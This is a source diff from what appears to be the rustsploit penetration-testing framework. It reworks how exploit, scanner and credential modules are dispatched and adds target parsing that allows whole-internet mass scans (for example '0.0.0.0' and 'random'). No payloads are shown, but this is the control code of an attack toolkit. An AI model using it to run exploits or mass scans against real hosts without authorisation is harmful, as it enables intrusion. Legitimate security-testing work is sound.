/// Recursively scan `src/modules/creds/` and find all `.rs` files (excluding `mod.rs`)
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found cred module: {}", mod_path);
}
}
}
}
Ok(())
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/exploit_dispatch.rs"));
pub async fn run_exploit(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::Write;
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("exploit_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let exploits_root = Path::new("src/modules/exploits");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(exploits_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::exploits::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Exploit module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found exploit: {}", mod_path);
}
}
}
}
Ok(())
}
+179 -82
View File
@@ -1,101 +1,198 @@
pub mod exploit;
pub mod scanner;
pub mod creds;
// src/commands/mod.rs
//
// Thin command dispatcher on top of the unified `crate::scheduler` engine
// and the `crate::module` inventory registry. All target expansion (CIDR,
// file, multi, random), concurrency control, prompt-cache propagation,
// honeypot detection, and finding routing happens inside the scheduler —
// this file is responsible only for resolving the user-supplied module
// name and routing to the scheduler.
use anyhow::Result;
use std::sync::Arc;
use crate::cli::Cli;
use walkdir::WalkDir;
use crate::utils::normalize_target;
use crate::config;
use crate::module::{self, Module, ModuleOptions, Target};
use crate::scheduler;
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
// ============================================================
// CLI ENTRY POINTS
// ============================================================
/// CLI subcommand dispatcher (`exploit`, `scanner`, `creds`, ...).
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
let raw = cli_args.target.clone().unwrap_or_default();
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
let module = cli_args.module.clone().unwrap_or_default();
crate::utils::verbose_log(cli_args.verbose, "Handling CLI command...");
match command {
"exploit" => {
let trimmed = module.trim_start_matches("exploits/");
exploit::run_exploit(trimmed, &target).await?;
},
"scanner" => {
let trimmed = module.trim_start_matches("scanners/");
scanner::run_scan(trimmed, &target).await?;
},
"creds" => {
let trimmed = module.trim_start_matches("creds/");
creds::run_cred_check(trimmed, &target).await?;
},
_ => {
eprintln!("Unknown command '{}'", command);
let raw = if let Some(t) = cli_args.target.clone() {
t
} else if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_target() {
Some(t) => {
crate::mprintln!("[*] Using global target: {}", t);
t
}
None => return Err(anyhow::anyhow!("No target specified and global target not set")),
}
}
Ok(())
}
/// Interactive shell: handles `run` with raw target string
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
let available = discover_modules();
let full_match = available.iter().find(|m| m == &module_path);
let short_match = available.iter().find(|m| {
m.rsplit_once('/')
.map(|(_, short)| short == module_path)
.unwrap_or(false)
});
let resolved = if let Some(m) = full_match {
m
} else if let Some(m) = short_match {
m
} else {
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
for m in available {
println!(" {}", m);
}
return Ok(());
return Err(anyhow::anyhow!(
"No target specified. Use --target <ip> or --set-target <ip/subnet>"
));
};
let target = normalize_target(raw_target)?;
let mut parts = resolved.splitn(2, '/');
let category = parts.next().unwrap_or("");
let module_name = parts.next().unwrap_or("");
match category {
"exploits" => exploit::run_exploit(module_name, &target).await?,
"scanners" => scanner::run_scan(module_name, &target).await?,
"creds" => creds::run_cred_check(module_name, &target).await?,
_ => eprintln!("❌ Category '{}' is not supported.", category),
let module = cli_args.module.clone().unwrap_or_default();
let stripped = match command {
"exploit" => module.trim_start_matches("exploits/").to_string(),
"scanner" => module.trim_start_matches("scanners/").to_string(),
"creds" => module.trim_start_matches("creds/").to_string(),
"plugins" => module.trim_start_matches("plugins/").to_string(),
"osint" => module.trim_start_matches("osint/").to_string(),
_ => module,
};
if stripped.is_empty() {
return Err(anyhow::anyhow!("No module specified"));
}
Ok(())
run_module(&stripped, &raw, cli_args.verbose).await
}
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
pub fn discover_modules() -> Vec<String> {
let mut modules = Vec::new();
let categories = ["exploits", "scanners", "creds"];
/// Resolve the user-supplied module path/short-name and run it through the
/// unified scheduler. Replaces the legacy `dispatch_with_cidr` /
/// `dispatch_single_target` machinery.
pub async fn run_module(module_path: &str, raw_target: &str, verbose: bool) -> Result<()> {
tracing::info!(module = %module_path, target = %raw_target, "Starting module execution");
crate::utils::verbose_log(
verbose,
&format!(
"Attempting to run module '{}' against '{}'",
module_path, raw_target
),
);
for category in &categories {
let base = format!("src/modules/{}", category);
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
let p = entry.path();
if p.is_file()
&& p.extension().map_or(false, |e| e == "rs")
&& p.file_name().map_or(true, |n| n != "mod.rs")
{
if let Ok(rel) = p.strip_prefix("src/modules") {
let module_path = rel
.with_extension("")
.to_string_lossy()
.replace("\\", "/");
modules.push(module_path);
let module_box = match module::find(module_path) {
Some(m) => m,
None => {
use colored::Colorize;
crate::meprintln!("{}", format!("Unknown module '{}'.", module_path).red());
let all = discover_modules_cached();
let best = all
.iter()
.map(|m| (m, strsim::levenshtein(module_path, m)))
.min_by_key(|&(_, d)| d);
if let Some((suggestion, dist)) = best
&& dist < 5 {
crate::meprintln!(
"{}",
format!(" Did you mean: {}?", suggestion).yellow()
);
}
}
return Err(anyhow::anyhow!("Module not found"));
}
};
let target_str = if raw_target.is_empty() {
if config::GLOBAL_CONFIG.has_target() {
match config::GLOBAL_CONFIG.get_target() {
Some(t) => {
crate::mprintln!("[*] Using global target: {}", t);
t
}
None => return Err(anyhow::anyhow!("No global target set")),
}
} else {
return Err(anyhow::anyhow!("No target specified."));
}
} else {
raw_target.to_string()
};
let target = Target::parse(&target_str)?;
let resolved_path = resolve_full_path(module_path).unwrap_or_else(|| module_path.to_string());
crate::events::emit(crate::events::ModuleEvent::ModuleStarted {
module: resolved_path.clone(),
target: target_str.clone(),
});
let module: Arc<dyn Module> = module_box.into();
let mut opts = ModuleOptions::default();
// Populate ModuleOptions from the *tenant-scoped* options so native modules
// reading ctx.options (port, source_port, threads, etc.) see the requesting
// tenant's values — not the process-global singleton, which would leak a
// shell/MCP operator's `setg` values into other tenants' runs.
// `resolve()` falls back to the global store when there is no tenant (CLI).
let scoped_opts = crate::tenant::resolve().global_options().all().await;
for (k, v) in &scoped_opts {
opts.set(k.clone(), v.clone());
}
// Auto-save: append all of this run's console output to
// `~/.rustsploit/loot/<module> <time> results.txt`. Scoped to interactive
// console / CLI runs (sequential, so a single global sink is race-free);
// API / MCP runs return their captured output to the caller instead.
let autosave = !crate::config::get_module_config().api_mode;
if autosave {
crate::results_sink::begin(&resolved_path);
}
modules
let result = scheduler::run(module, target, opts, verbose).await;
if autosave {
crate::results_sink::end();
}
crate::events::emit(crate::events::ModuleEvent::ModuleFinished {
module: resolved_path,
target: target_str,
success: result.is_ok(),
});
result.map(|_| ())
}
// ============================================================
// PUBLIC API SURFACE (consumed by shell, ws, mcp, jobs, api, utils)
// ============================================================
/// Process-wide cached list of `category/name` paths for every registered
/// module. Sorted, deterministic.
pub fn discover_modules_cached() -> &'static Vec<String> {
static CACHE: std::sync::OnceLock<Vec<String>> = std::sync::OnceLock::new();
CACHE.get_or_init(module::all_paths)
}
pub fn discover_modules() -> Vec<String> {
discover_modules_cached().clone()
}
/// Number of registered plugin-category modules (zero unless someone wires
/// in dynamic plugins through the inventory registry).
pub fn plugin_count() -> usize {
module::registered()
.filter(|e| e.category == module::Category::Plugins)
.count()
}
/// Static category list, derived from the `Category` enum.
pub fn categories() -> &'static [&'static str] {
&["scanners", "exploits", "creds", "osint", "plugins"]
}
pub fn module_info(module_path: &str) -> Option<crate::module_info::ModuleInfo> {
module::find(module_path).map(|m| m.info())
}
// ============================================================
// HELPERS
// ============================================================
/// Find the canonical `category/name` form of a module if the user supplied
/// just the short name. Returns `None` for an unknown module.
pub fn resolve_full_path(module_path: &str) -> Option<String> {
if module_path.contains('/') {
// Already qualified; verify it exists.
return module::registered()
.find(|e| format!("{}/{}", e.category.as_str(), e.name) == module_path)
.map(|e| format!("{}/{}", e.category.as_str(), e.name));
}
module::registered()
.find(|e| e.name == module_path)
.map(|e| format!("{}/{}", e.category.as_str(), e.name))
}
-7
View File
@@ -1,7 +0,0 @@
use anyhow::Result;
include!(concat!(env!("OUT_DIR"), "/scanner_dispatch.rs"));
pub async fn run_scan(module_name: &str, target: &str) -> Result<()> {
dispatch(module_name, target).await
}
-81
View File
@@ -1,81 +0,0 @@
use std::collections::HashSet;
use std::env;
use std::fs::{self, File};
use std::io::{Write};
use std::path::{Path, PathBuf};
fn main() {
let out_dir = env::var("OUT_DIR").unwrap();
let dest_path = Path::new(&out_dir).join("scanner_dispatch.rs");
let mut file = File::create(&dest_path).unwrap();
let scanners_root = Path::new("src/modules/scanners");
let mut mappings: HashSet<(String, String)> = HashSet::new();
// Traverse all .rs files (excluding mod.rs)
visit_all_rs(scanners_root, "".to_string(), &mut mappings).unwrap();
// Start generating dispatch code
writeln!(
file,
"pub async fn dispatch(module_name: &str, target: &str) -> anyhow::Result<()> {{\n match module_name {{"
).unwrap();
for (key, mod_path) in &mappings {
let short_key = key.rsplit('/').next().unwrap_or(&key);
let mod_code_path = mod_path.replace("/", "::");
writeln!(
file,
r#" "{short}" | "{full}" => {{ crate::modules::scanners::{path}::run(target).await? }},"#,
short = short_key,
full = key,
path = mod_code_path
).unwrap();
}
writeln!(
file,
r#" _ => anyhow::bail!("Scanner module '{{}}' not found.", module_name),"#
).unwrap();
writeln!(file, " }}\n Ok(())\n}}").unwrap();
}
/// Recursively walk through directories, find all .rs files excluding mod.rs
fn visit_all_rs(dir: &Path, prefix: String, mappings: &mut HashSet<(String, String)>) -> std::io::Result<()> {
if dir.is_dir() {
for entry in fs::read_dir(dir)? {
let entry = entry?;
let path = entry.path();
let file_name = entry.file_name().to_string_lossy().into_owned();
if path.is_dir() {
let sub_prefix = if prefix.is_empty() {
file_name.clone()
} else {
format!("{}/{}", prefix, file_name)
};
visit_all_rs(&path, sub_prefix, mappings)?;
} else if path.extension().map_or(false, |e| e == "rs") {
if file_name == "mod.rs" {
continue;
}
let file_stem = path.file_stem().unwrap().to_string_lossy();
let mod_path = if prefix.is_empty() {
file_stem.to_string()
} else {
format!("{}/{}", prefix, file_stem)
};
// Add to mappings if not already added
if mappings.insert((mod_path.clone(), mod_path.clone())) {
println!("✅ Found scanner: {}", mod_path);
}
}
}
}
Ok(())
}
+442
View File
@@ -0,0 +1,442 @@
use std::collections::HashMap;
use std::sync::{Arc, RwLock};
use anyhow::{anyhow, Context, Result};
use ipnetwork::IpNetwork;
use regex::Regex;
/// Maximum length for target strings
const MAX_TARGET_LENGTH: usize = 2048;
/// Maximum length for hostname
const MAX_HOSTNAME_LENGTH: usize = 253;
/// Global configuration for the framework
#[derive(Clone, Debug)]
pub struct GlobalConfig {
/// Global target - can be a single IP or CIDR subnet
target: Arc<RwLock<Option<TargetConfig>>>,
}
#[derive(Clone, Debug)]
pub enum TargetConfig {
/// Single IP address or hostname
Single(String),
/// CIDR subnet (e.g., "192.168.1.0/24")
Subnet(IpNetwork),
/// Comma-separated list of targets (IPs, hostnames, and/or CIDRs)
Multi(Vec<String>),
}
impl GlobalConfig {
/// Create a new global configuration
pub fn new() -> Self {
Self {
target: Arc::new(RwLock::new(None)),
}
}
/// Set the global target (IP, hostname, or CIDR subnet)
pub fn set_target(&self, target: &str) -> Result<()> {
let trimmed = target.trim();
// Basic validation
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty"));
}
// Length check
if trimmed.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Target too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
// Check for control characters
if trimmed.chars().any(|c| c.is_control()) {
return Err(anyhow!("Target cannot contain control characters"));
}
// Mass scan keyword: "random" — store as-is. "0.0.0.0/0" is handled
// below as a CIDR subnet.
if trimmed == "random" {
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
return Ok(());
}
// Bare "0.0.0.0" is an operator alias for the full-internet sweep
// "0.0.0.0/0" (== "random"), added 2026-06-09 (reverses the earlier M45
// single-host rule). Store it as the /0 subnet so every consumer treats
// it as a mass scan; the scheduler still shows an advisory + an
// interactive confirmation before it actually sweeps.
if trimmed == "0.0.0.0" {
let net: IpNetwork = "0.0.0.0/0"
.parse()
.map_err(|e| anyhow!("internal: failed to parse 0.0.0.0/0 as a network: {e}"))?;
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Subnet(net));
return Ok(());
}
// Sequential mass-scan keywords: `seq`/`sequential` (whole public range)
// or `seq:<ip>`/`sequential:<ip>` (explicit start). Stored verbatim;
// `module::Target::parse` turns it into `Target::Sequential`.
{
let lower = trimmed.to_ascii_lowercase();
if lower == "seq"
|| lower == "sequential"
|| lower.starts_with("seq:")
|| lower.starts_with("sequential:")
{
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
return Ok(());
}
}
// File-based target list: resolve canonical path to prevent traversal,
// then store if the file exists. This check must come before the ".."
// rejection so relative file paths like "../targets.txt" work.
let path = std::path::Path::new(trimmed);
if path.exists() && path.is_file() {
// Resolve to canonical path (eliminates .., symlinks, etc.)
let canonical = path.canonicalize()
.with_context(|| format!("Failed to resolve file path '{}'", trimmed))?;
let canonical_str = canonical.to_string_lossy().to_string();
if canonical_str.len() > MAX_TARGET_LENGTH {
return Err(anyhow!(
"Canonical path too long (max {} characters)",
MAX_TARGET_LENGTH
));
}
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Single(canonical_str));
return Ok(());
}
// Check for path traversal attempts (only for non-file targets)
if trimmed.contains("..") || trimmed.contains("//") {
return Err(anyhow!("Target contains invalid characters (path traversal)"));
}
// Comma-separated multi-target: "10.0.0.1, 192.168.1.0/24, example.com"
if trimmed.contains(',') {
let targets: Vec<String> = trimmed
.split(',')
.map(|t| t.trim().to_string())
.filter(|t| !t.is_empty())
.collect();
if targets.is_empty() {
return Err(anyhow!("No valid targets in comma-separated list"));
}
if targets.len() == 1 {
// Single target after parsing — recurse without comma
return self.set_target(&targets[0]);
}
// Validate each individual target
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0/0"];
for t in &targets {
// Allow mass scan keywords, CIDRs, file paths, and hostnames/IPs
if MASS_SCAN_KEYWORDS.contains(&t.as_str()) {
continue;
}
if std::path::Path::new(t.as_str()).is_file() {
continue;
}
if t.parse::<IpNetwork>().is_err() {
Self::validate_hostname_or_ip(t)?;
}
}
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Multi(targets));
return Ok(());
}
// Try to parse as CIDR subnet first — but ONLY when an explicit prefix
// is present. `IpNetwork::from_str` silently widens a bare address to a
// host route (`0.0.0.0` -> `0.0.0.0/32`, `10.0.0.1` -> `10.0.0.1/32`),
// which turned every single-IP target into a subnet: it surfaced as
// "Using target: 0.0.0.0/32", routed single hosts through CIDR fan-out,
// and tripped `is_mass_scan_target` (which then skips honeypot
// detection). A bare IP is a single host (M45) — require the '/' so it
// falls through to `TargetConfig::Single` below.
if trimmed.contains('/')
&& let Ok(network) = trimmed.parse::<IpNetwork>()
{
// No size limit enforced here - user can set 0.0.0.0/0 if they want.
// Consumers (looping logic) must handle large subnets responsibly (e.g. via iterators).
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Subnet(network));
return Ok(());
}
// Validate hostname/IP format
Self::validate_hostname_or_ip(trimmed)?;
// Otherwise, treat as single IP or hostname
let mut target_guard = self.target.write().map_err(|e| anyhow!("Config lock poisoned: {e}"))?;
*target_guard = Some(TargetConfig::Single(trimmed.to_string()));
Ok(())
}
/// Validates a hostname or IP address format
fn validate_hostname_or_ip(target: &str) -> Result<()> {
// Length check for hostname
if target.len() > MAX_HOSTNAME_LENGTH {
return Err(anyhow!(
"Hostname too long (max {} characters)",
MAX_HOSTNAME_LENGTH
));
}
// Check for valid characters
// Allow: a-z, A-Z, 0-9, '.', '-', '_', ':', '[', ']' (for IPv6)
// Use OnceCell::get_or_try_init so a (theoretically impossible)
// regex compile failure surfaces as a clean error instead of a
// panic on first input. The literal pattern is hardcoded and has
// never failed to compile in test, but proper plumbing matters.
static VALID_CHARS: once_cell::sync::OnceCell<Regex> = once_cell::sync::OnceCell::new();
let valid_chars = VALID_CHARS.get_or_try_init(|| {
Regex::new(r"^[a-zA-Z0-9.\-_:\[\]]+$")
.map_err(|e| anyhow!("internal error: VALID_CHARS regex failed to compile: {e}"))
})?;
if !valid_chars.is_match(target) {
return Err(anyhow!(
"Target contains invalid characters. Allowed: letters, numbers, '.', '-', '_', ':', '[', ']'"
));
}
// Basic hostname format check (not starting/ending with special chars)
if target.starts_with('.') || target.starts_with('-') {
return Err(anyhow!("Target cannot start with '.' or '-'"));
}
// A single trailing dot (FQDN root label, e.g. "example.com.") is
// allowed implicitly; consecutive dots are rejected just below.
// Check for consecutive dots (invalid in hostnames)
if target.contains("..") {
return Err(anyhow!("Target cannot contain consecutive dots"));
}
Ok(())
}
/// Get the global target as a single string (for display)
pub fn get_target(&self) -> Option<String> {
let guard = self.target.read().unwrap_or_else(|e| e.into_inner());
guard.as_ref().map(|t| match t {
TargetConfig::Single(ip) => ip.clone(),
TargetConfig::Subnet(net) => net.to_string(),
TargetConfig::Multi(targets) => targets.join(", "),
})
}
/// Check if global target is set
pub fn has_target(&self) -> bool {
self.target.read().map(|g| g.is_some()).unwrap_or(false)
}
/// Check if global target is a subnet
pub fn is_subnet(&self) -> bool {
self.target.read().map(|g| matches!(g.as_ref(), Some(TargetConfig::Subnet(_)) | Some(TargetConfig::Multi(_)))).unwrap_or(false)
}
/// Get the size of the target (number of IPs)
/// For single IPs, returns 1
/// For subnets, returns the subnet size without expanding
pub fn get_target_size(&self) -> Option<u64> {
let target_guard = self.target.read().unwrap_or_else(|e| e.into_inner());
match target_guard.as_ref() {
Some(TargetConfig::Single(_)) => Some(1),
Some(TargetConfig::Subnet(net)) => {
Some(Self::network_size(net))
}
Some(TargetConfig::Multi(targets)) => {
let mut total = 0u64;
for t in targets {
if let Ok(net) = t.parse::<IpNetwork>() {
total = total.saturating_add(Self::network_size(&net));
} else if std::path::Path::new(t).is_file() {
// A file member contributes its real target count (one per
// non-empty, non-comment line), not a flat 1 — otherwise a
// comma-list containing a host file wildly under-estimates
// the scan size used for ETA/throttling.
let lines = std::fs::read_to_string(t)
.map(|s| {
s.lines()
.filter(|l| {
let l = l.trim();
!l.is_empty() && !l.starts_with('#')
})
.count() as u64
})
.unwrap_or(1);
total = total.saturating_add(lines.max(1));
} else {
total = total.saturating_add(1);
}
}
Some(total)
}
None => None,
}
}
/// Calculate the number of IPs in a network
fn network_size(net: &IpNetwork) -> u64 {
match net {
IpNetwork::V4(net4) => {
let prefix = net4.prefix() as u32;
if prefix >= 32 { 1u64 } else { 2u64.pow(32 - prefix) }
}
IpNetwork::V6(net6) => {
let prefix = net6.prefix() as u32;
if prefix >= 128 {
1u64
} else {
let exp = 128u32.saturating_sub(prefix);
if exp > 63 { u64::MAX } else { 2u64.pow(exp) }
}
}
}
}
/// Clear the global target
pub fn clear_target(&self) {
*self.target.write().unwrap_or_else(|e| e.into_inner()) = None;
}
}
/// Global configuration instance
use once_cell::sync::Lazy;
pub static GLOBAL_CONFIG: Lazy<GlobalConfig> = Lazy::new(GlobalConfig::new);
/// Module-level configuration for API-driven execution
/// This is set by the API before running a module and read by modules
/// to get pre-configured values instead of prompting the user
///
/// # Unified Prompt Keys
///
/// These are the standardized `custom_prompts` keys used across all
/// scanner modules (via `cfg_prompt_*` in utils.rs). Supply them in the
/// JSON `"prompts"` object of an API `/api/run` request.
///
/// ## Common Keys (used by many modules)
/// | Key | Type | Description |
/// |-------------------|--------|------------------------------------------------|
/// | `port` | u16 | Target service port |
/// | `timeout` | int | Connection/request timeout (seconds or ms) |
/// | `verbose` | y/n | Verbose output |
/// | `save_results` | y/n | Save results to file |
/// | `output_file` | string | Output filename for results |
/// | `concurrency` | int | Number of concurrent threads/tasks |
/// | `threads` | int | Alias for concurrency (some modules) |
/// | `wordlist` | path | Path to wordlist file |
/// | `target_file` | path | Path to file containing targets |
/// | `additional_targets` | string | Comma-separated additional targets |
/// | `mode` | string | Operation mode selector (1, 2, 3, etc.) |
///
/// ## Scanner-Specific Keys
///
/// ### Port Scanner (`scanners/port_scanner`)
/// `port_range`, `scan_method`, `show_only_open`, `ttl`, `source_port`, `data_length`
///
/// ### SSH Scanner (`scanners/ssh_scanner`)
/// `load_from_file`, `target_file`
///
/// ### DNS Recursion (`scanners/dns_recursion`)
/// `domain`, `record_type`
///
/// ### SMTP User Enum (`scanners/smtp_user_enum`)
/// `timeout_ms`, `save_valid`, `valid_output`, `save_unknown`, `unknown_output`
///
/// ### Ping Sweep (`scanners/ping_sweep`)
/// `add_manual_targets`, `manual_target`, `load_from_file`, `save_up_hosts`,
/// `up_hosts_file`, `save_down_hosts`, `down_hosts_file`, `use_icmp`, `use_tcp`,
/// `tcp_ports`, `use_syn`, `syn_ports`, `use_ack`, `ack_ports`
///
/// ### HTTP Title Scanner (`scanners/http_title_scanner`)
/// `check_http`, `check_https`, `use_ports`, `ports`
///
/// ### HTTP Method Scanner (`scanners/http_method_scanner`)
/// `scheme`, `use_ports`, `ports`
///
/// ### Dir Brute (`scanners/dir_brute`)
/// `scan_mode`, `delay_ms`, `random_agent`, `custom_cookies`, `cookies`,
/// `use_https`, `base_path`, `template_name`, `template_file`, `sort_by`
///
/// ### Sequential Fuzzer (`scanners/sequential_fuzzer`)
/// `min_length`, `max_length`, `charset`, `custom_charset`, `encoding`,
/// `add_cookies`, `cookies`, `append_slash`, `template_name`, `template_file`, `target_url`
///
/// ### API Endpoint Scanner (`scanners/api_endpoint_scanner`)
/// `output_dir`, `use_spoofing`, `use_generic_payload`, `enable_delete`,
/// `enable_extended_methods`, `modules`, `enum_mode`, `id_start`, `id_end`,
/// `id_file`, `endpoint_source`, `base_path`, `endpoint_file`
///
/// ### IPMI Enum/Exploit (`scanners/ipmi_enum_exploit`)
/// `cidr`, `target`, `test_cipher_zero`, `test_anonymous`, `test_default_creds`,
/// `test_rakp_hash`, `continue_large_scan`, `destroy_confirm`
///
/// ### SSDP MSearch (`scanners/ssdp_msearch`)
/// `retries`, `search_target`
///
/// ### Sample Scanner (`scanners/sample_scanner`)
/// `check_http`, `check_https`
#[derive(Clone, Debug, Default)]
pub struct ModuleConfig {
pub custom_prompts: HashMap<String, String>,
pub api_mode: bool,
}
impl ModuleConfig {
pub fn new() -> Self {
Self::default()
}
}
/// Global module config instance (API-provided configuration)
pub static MODULE_CONFIG: Lazy<Arc<RwLock<ModuleConfig>>> = Lazy::new(|| {
Arc::new(RwLock::new(ModuleConfig::new()))
});
/// Get a clone of the current module config.
/// Checks the task-local RunContext first (for concurrent API runs),
/// then falls back to the global MODULE_CONFIG.
pub fn get_module_config() -> ModuleConfig {
// Try task-local context first (set by API handler per-request)
let task_local = crate::context::RUN_CONTEXT.try_with(|ctx| ctx.config.clone());
if let Ok(config) = task_local {
return config;
}
// Fallback to global (for CLI/shell mode)
MODULE_CONFIG.read()
.map(|g| g.clone())
.unwrap_or_default()
}
/// Get the per-request target from the task-local RunContext, if set.
/// Returns `None` in shell/CLI mode or when no context is active.
pub fn get_run_target() -> Option<String> {
crate::context::RUN_CONTEXT
.try_with(|ctx| ctx.target.clone())
.ok()
.flatten()
}
pub fn results_dir() -> std::path::PathBuf {
let dir = home::home_dir()
.unwrap_or_else(|| std::path::PathBuf::from("."))
.join(".rustsploit")
.join("results");
if !dir.exists() {
use std::os::unix::fs::DirBuilderExt;
if let Err(e) = std::fs::DirBuilder::new().mode(0o700).recursive(true).create(&dir) {
eprintln!("[!] Failed to create results directory {}: {}", dir.display(), e);
}
}
dir
}
+319
View File
@@ -0,0 +1,319 @@
// src/context.rs
//
// Per-run execution context using tokio task-locals.
// Provides per-task ModuleConfig, target, and output accumulator
// for concurrent API runs.
use std::collections::HashMap;
use std::sync::Arc;
use std::sync::atomic::{AtomicU64, AtomicUsize, Ordering};
use crate::config::ModuleConfig;
const MAX_PROMPT_CACHE_ENTRIES: usize = 256;
/// Shared prompt cache for mass scan / CIDR / file target modes.
/// The first concurrent task to need a prompt key acquires the lock,
/// prompts the user interactively, and caches the result. All subsequent tasks
/// find the cached answer and skip the prompt entirely.
pub type PromptCache = Arc<tokio::sync::Mutex<HashMap<String, String>>>;
/// Create a new empty prompt cache.
pub fn new_prompt_cache() -> PromptCache {
Arc::new(tokio::sync::Mutex::new(HashMap::new()))
}
/// Try to insert into a prompt cache, respecting the size cap.
/// Returns false if the cache is full (entry not inserted).
pub fn cache_insert(map: &mut HashMap<String, String>, key: String, value: String) -> bool {
if map.len() >= MAX_PROMPT_CACHE_ENTRIES && !map.contains_key(&key) {
return false;
}
map.insert(key, value);
true
}
// ============================================================
// GLOBAL BATCH MODE — fallback for when task-locals don't propagate
// ============================================================
/// Refcount of active batch guards. Batch mode is active when > 0.
static BATCH_REFCOUNT: AtomicUsize = AtomicUsize::new(0);
static BATCH_CACHE: std::sync::LazyLock<PromptCache> = std::sync::LazyLock::new(new_prompt_cache);
static BATCH_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
static CACHE_GEN: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
/// RAII guard that decrements the batch refcount on drop, even on early
/// `?` returns or panics. Use `enter_batch_mode()` to obtain one.
pub struct BatchGuard(());
impl Drop for BatchGuard {
fn drop(&mut self) {
BATCH_REFCOUNT.fetch_sub(1, Ordering::Release);
}
}
/// Activate global batch mode. Returns a guard that automatically
/// deactivates it when dropped (including on `?` early returns).
/// Nested/concurrent calls are safe — batch stays active until all guards drop.
/// The cache is cleared lazily on first access in each new batch generation,
/// so this function is lock-free and safe to call from async code.
pub fn enter_batch_mode() -> BatchGuard {
let prev = BATCH_REFCOUNT.fetch_add(1, Ordering::AcqRel);
if prev == 0 {
BATCH_GEN.fetch_add(1, Ordering::Release);
}
BatchGuard(())
}
pub fn is_batch_active() -> bool {
BATCH_REFCOUNT.load(Ordering::Acquire) > 0
}
pub fn batch_cache() -> &'static PromptCache {
&BATCH_CACHE
}
pub fn batch_generation() -> u64 {
BATCH_GEN.load(Ordering::Acquire)
}
pub(crate) fn cache_generation() -> u64 {
CACHE_GEN.load(Ordering::Acquire)
}
pub(crate) fn set_cache_generation(generation: u64) {
CACHE_GEN.store(generation, Ordering::Release);
}
tokio::task_local! {
/// Task-local run context. Set by the API/CLI dispatcher before invoking a module.
/// Modules don't need to reference this directly — the `cfg_prompt_*` functions
/// check it automatically.
pub static RUN_CONTEXT: Arc<RunContext>;
/// Optional per-target scan counters. The job manager scopes this around a
/// backgrounded run so the scheduler can publish live progress (total /
/// succeeded / failed targets) back into the job's `JobProgress`. Unset for
/// foreground/CLI runs, in which case the scheduler simply skips it.
pub static SCAN_COUNTERS: Arc<ScanCounters>;
